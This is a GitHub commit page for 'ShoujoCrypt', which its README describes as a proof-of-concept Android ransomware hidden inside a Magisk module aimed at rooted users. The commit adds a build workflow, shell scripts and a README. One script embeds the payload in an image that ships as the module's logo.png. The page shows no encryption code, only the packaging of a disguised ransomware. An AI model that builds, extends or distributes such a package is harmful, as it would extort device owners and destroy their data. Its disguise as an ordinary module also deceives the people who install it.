Skip to content
This repository was archived by the owner on May 29, 2025. It is now read-only.

Commit b073ea0

Browse files
committed
init: Push codebase
Signed-off-by: manigohan <manigohan@national.shitposting.agency>
0 parents  commit b073ea0

File tree

224 files changed

+53151
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

224 files changed

+53151
-0
lines changed

.gitattributes

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
module/bin/curl/arm64-v8a/libcurl.so filter=lfs diff=lfs merge=lfs -text
2+
module/bin/curl/armeabi-v7a/libcurl.so filter=lfs diff=lfs merge=lfs -text
3+
src/jni/prebuilt/ filter=lfs diff=lfs merge=lfs -text

.github/media/decryption.png

36.4 KB
Loading

.github/media/execution.png

76.3 KB
Loading

.github/workflows/build.yml

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
name: Build
2+
3+
on:
4+
push:
5+
6+
jobs:
7+
build_shoujo:
8+
name: Build ShoujoCrypt
9+
runs-on: ubuntu-latest
10+
steps:
11+
- name: Checkout sources
12+
uses: actions/checkout@v4
13+
with:
14+
lfs: true
15+
- name: Pull LFS objects
16+
run: git lfs checkout
17+
- name: Setup Java
18+
uses: actions/setup-java@v4
19+
with:
20+
distribution: 'temurin'
21+
java-version: 21
22+
- name: NDK Setup
23+
uses: nttld/setup-ndk@v1.5.0
24+
with:
25+
ndk-version: r27c
26+
- name: Build ShoujoCrypt payload
27+
run: |
28+
ndk-build
29+
working-directory: src/jni
30+
- name: Upload lib
31+
uses: actions/upload-artifact@v4
32+
with:
33+
name: lib
34+
path: src/jni/libs
35+
- name: Upload obj
36+
uses: actions/upload-artifact@v4.6.2
37+
with:
38+
name: obj
39+
path: src/obj
40+
41+
build_module:
42+
name: Build OverlayService and module
43+
runs-on: ubuntu-latest
44+
steps:
45+
- name: Checkout sources
46+
uses: actions/checkout@v4
47+
with:
48+
lfs: true
49+
- name: Pull LFS objects
50+
run: git lfs checkout
51+
- name: Setup Java
52+
uses: actions/setup-java@v4
53+
with:
54+
distribution: 'temurin'
55+
java-version: 21
56+
- name: Setup Gradle
57+
uses: gradle/actions/setup-gradle@v4
58+
- name: Build with Gradle
59+
run: |
60+
./gradlew build
61+
./gradlew assembleDebug
62+
working-directory: src/OverlayServiceProject
63+
- name: Build module
64+
run: |
65+
cp src/OverlayServiceProject/app/build/outputs/apk/debug/app-debug.apk module/overlay.apk
66+
bash ./build.sh
67+
- name: Upload module
68+
uses: actions/upload-artifact@v4
69+
with:
70+
name: module
71+
path: out/shoujocrypt.zip

.gitignore

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
src/jni/obj
2+
src/jni/libs
3+
out/
4+
src/image_payload/payload.png
5+
src/image_payload/offset

.vscode/settings.json

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
{
2+
"files.associations": {
3+
"aes.h": "c",
4+
"stdio.h": "c",
5+
"err.h": "c"
6+
},
7+
"C_Cpp.errorSquiggles": "disabled"
8+
}

LICENSE

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
This is free and unencumbered software released into the public domain.
2+
3+
Anyone is free to copy, modify, publish, use, compile, sell, or
4+
distribute this software, either in source code form or as a compiled
5+
binary, for any purpose, commercial or non-commercial, and by any
6+
means.
7+
8+
In jurisdictions that recognize copyright laws, the author or authors
9+
of this software dedicate any and all copyright interest in the
10+
software to the public domain. We make this dedication for the benefit
11+
of the public at large and to the detriment of our heirs and
12+
successors. We intend this dedication to be an overt act of
13+
relinquishment in perpetuity of all present and future rights to this
14+
software under copyright law.
15+
16+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19+
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20+
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21+
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22+
OTHER DEALINGS IN THE SOFTWARE.
23+
24+
For more information, please refer to <https://unlicense.org/>

README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# ShoujoCrypt
2+
#### A moe-themed proof-of-concept Android ransomware
3+
4+
## Prologue
5+
*ShoujoCrypt* is a [Proof-of-Concept](https://en.wikipedia.org/wiki/Proof_of_concept) [ransomware](https://en.wikipedia.org/wiki/Ransomware) targetting [Android](https://en.wikipedia.org/wiki/Android_(operating_system)) *root users* by hiding a payload inside a [Magisk](https://github.com/topjohnwu/Magisk) module.
6+
7+
# Execution flow
8+
<img src=".github/media/execution.png">
9+
10+
# Acknowledgements
11+
- [Rem01Gaming](https://github.com/Rem01Gaming) for helping me with Android NDK
12+
13+
# Licensing
14+
This project is under the public domain by [Unlicense](https://unlicense.org/).
15+
16+
# Dependencies
17+
- [curl](https://curl.se/libcurl/) ([license](https://curl.se/docs/copyright.html))
18+
- [OpenSSL](https://openssl-library.org/) ([license](https://raw.githubusercontent.com/openssl/openssl/refs/heads/master/LICENSE.txt))

build.sh

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
#!/bin/bash
2+
set -e
3+
4+
# This is to be ran after building the ShoujoCrypt payload and OverlayService
5+
export PROJECT_ROOT="$PWD"
6+
export build="$PROJECT_ROOT/build"
7+
8+
if [ -e "$PROJECT_ROOT/out" ]; then
9+
rm -rf $PROJECT_ROOT/out
10+
mkdir $PROJECT_ROOT/out
11+
else
12+
mkdir $PROJECT_ROOT/out
13+
fi
14+
echo -e "Made output directory at $PROJECT_ROOT/out"
15+
16+
bash $build/image.sh
17+
bash $build/zipitup.sh
18+
19+
echo -e "Done!"

build/image.sh

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/bin/bash
2+
3+
bash $PROJECT_ROOT/src/image_payload/embed.sh
4+
cp $PROJECT_ROOT/src/image_payload/offset $PROJECT_ROOT/module/
5+
cp $PROJECT_ROOT/src/image_payload/payload.png $PROJECT_ROOT/module/logo.png

0 commit comments

Comments
 (0)